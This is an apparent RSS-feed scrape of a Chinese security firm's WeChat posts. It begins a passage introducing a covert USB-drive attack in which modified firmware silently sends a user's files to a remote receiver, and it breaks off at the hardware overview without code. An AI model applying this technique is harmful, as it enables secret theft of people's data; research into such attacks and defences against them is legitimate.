0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;width: 677px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6229ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-mid="" mpa-from-tpl="t" style="padding-right: 4px;padding-left: 4px;outline: 0px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p data-mid="" msthash="2289326" msttexthash="12647050" style="padding-right: 16px;padding-left: 16px;outline: 0px;max-width: 100%;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(-14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9bc775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><h1 style="margin-top: 8px;margin-bottom: 14px;font-size: 22px;white-space: normal;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484877&amp;idx=1&amp;sn=5f3983c37feca13d90e6b4aab092bf07&amp;chksm=c0ddffbcf7aa76aa315236da9a4577337e3950c3ce512a1dfee67de39de083546b17a56aeb4e&amp;scene=21#wechat_redirect" textvalue="针对U盘文件的盗与防攻略" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span msthash="271973" msttexthash="110699719" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">针对U盘文件的盗与防攻略</span></a></h1><h1 msthash="224770" msttexthash="17982692" style="margin-top: 8px;margin-bottom: 14px;outline: 0px;font-size: 22px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484855&amp;idx=1&amp;sn=35cbffc6a2cbfa5e5c49838980789d12&amp;chksm=c0ddffc6f7aa76d0b7b06f4c8a0b18b01766f8f50b62c3f489de6a0c27620e7f74f439b7cccf&amp;scene=21#wechat_redirect" textvalue="Ruby安全漫谈" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="271973" msttexthash="110699719" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></a></h1><h1 msthash="224770" msttexthash="17982692" style="margin-top: 8px;margin-bottom: 14px;font-size: 22px;white-space: normal;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484855&amp;idx=1&amp;sn=35cbffc6a2cbfa5e5c49838980789d12&amp;chksm=c0ddffc6f7aa76d0b7b06f4c8a0b18b01766f8f50b62c3f489de6a0c27620e7f74f439b7cccf&amp;scene=21#wechat_redirect" textvalue="Ruby安全漫谈" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="271973" msttexthash="110699719" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Ruby安全漫谈</span></a></h1><h1 style="margin-top: 8px;margin-bottom: 14px;outline: 0px;font-size: 22px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484806&amp;idx=1&amp;sn=c9de71d7e2e645d5dcce48da185c4014&amp;chksm=c0ddfff7f7aa76e11d6a443f315bee9012b08742a0eb76c553556ef3eb74aca9bc54bf25d477&amp;scene=21#wechat_redirect" textvalue="基于RDP协议识别主机操作系统版本与用户名" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="271973" msttexthash="110699719" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">基于RDP协议识别主机操作系统版本与用户名</span></a></h1><p style="margin-bottom: 24px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bdadcd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="438322" msttexthash="46068516" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);letter-spacing: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;">引领智能网络攻防科技</span></section><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthidden="1" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=530afaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></span></section><section data-brushtype="text" style="margin: 15px 1em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section class="mp_profile_iframe_wrp" style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><mp-common-profile data-index="0" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/0?wx_fmt=png" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-origin_num="28" data-is_biz_ban="0" data-isban="0" class="js_wx_tap_highlight" data-from="2" has-insert-preloading="1"></mp-common-profile></section><section msthash="837304" msttexthash="11380889" style="margin-top: 15px;margin-bottom: 10px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">在看</strong></span></section><section style="margin-top: 5px;margin-bottom: 15px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="837305" msttexthash="16926988" style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">分享给小伙伴</span></section><section style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="837306" msttexthash="88348169" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">↓</span>↓点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">阅读原文</strong></span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);box-sizing: border-box !important;overflow-wrap: break-word !important;">，了解更多墨云信息</span></span></section></section>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=23f12a10&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247484895%26idx%3D1%26sn%3Dc290a519e5933467b9b980961e1eca55%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 23 Sep 2022 16:30:00 +0800</pubDate>
    </item>
    <item>
      <title>针对U盘文件的盗与防攻略</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484877&amp;idx=1&amp;sn=5f3983c37feca13d90e6b4aab092bf07</link>
      <description>近年来，使用U盘作为介质完成的网络攻击屡见不鲜。本文介绍分析一种在不获取主机控制权限条件下对U盘文件进行读取的方法。</description>
      <content:encoded><![CDATA[<p>
原创 <span>moyun</span> <span>2022-09-16 17:50</span> <span style="display: inline-block;">北京</span>
</p>

<p>近年来，使用U盘作为介质完成的网络攻击屡见不鲜。本文介绍分析一种在不获取主机控制权限条件下对U盘文件进行读取的方法。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=dde9740a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplR08CKGdrqQfvXDDjxm43865CUz8RCjBuUdNAiaJSnqUsREXjWOK1XrrhtBHXLmM1JUXkrFgfbaib4Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="0" data-cropx2="500" data-cropy1="0" data-cropy2="386.9047619047619" data-galleryid="" data-ratio="0.772" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 84px !important;" data-type="jpeg" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=ef3468d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5Hyd9IkZVo0JUSV5nPeVNVriaFQKWJ59ODSQiafWYYvZs3fadU0JPjQ0A%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">V-lab实验室</span></strong></section><section style="margin-right: 8px;margin-bottom: 0em;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.1875" style="outline: 0px;font-size: 16px;letter-spacing: 0.544px;widows: 1;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 67.691px !important;" data-type="gif" data-w="128" data-width="10%" src="https://wechat2rss.xlab.app/img-proxy/?k=8c660053&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></section><section style="margin-right: 8px;margin-bottom: 0em;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><p style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">近年来，使用U盘作为介质完成的网络攻击屡见不鲜。</span></p><ul class="list-paddingleft-1" style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);visibility: visible;overflow-wrap: break-word !important;"><li style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">2010年</span><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">的震网病毒事件，使用了基于U盘来触发的windows</span><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"> 快</span><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">捷方式漏洞；</span></span></section><section style="outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><br/></section></li><li style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">2</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">0</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">14年安全研究员在BlackHat上公布了基于U盘的BadUsb攻击，该攻击也基于U盘这个介质；</span></section><section style="outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><br/></section></li><li style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;color: rgb(51, 51, 51);">2021年，在BlackHat Europe上，安全研究员利用USB协议栈的Double Free漏洞控制了linux 系统，这个攻击同样也基于U盘触发。</span></p><p><br/></p></li></ul><p><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;font-size: 15px;text-align: left;text-indent: 0em;">以上几种方法都是通过USB设备获得了主机控制权限，本文介绍一种在不获取主机控制权限条件下对U盘文件进行读取的方法。</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;font-size: 15px;text-align: left;text-indent: 0em;">该方法需要一个特制的U盘，在使用这个U盘进行文件的存储、拷贝过程中，可在用户不知情的情况下将U盘里的文件发送给远端的接收者。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;outline: 0px;font-weight: bold;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;text-indent: 0em;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">原理</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">一个U盘主要由主控板（USB控制器）、FLASH存储等组成。FLASH分为2部分，一部分是用户可见的存储区，另一部分是用户不可见的固件区域。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"><br/></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6301261829652997" data-s="300,640" style="" data-type="png" data-w="1268" 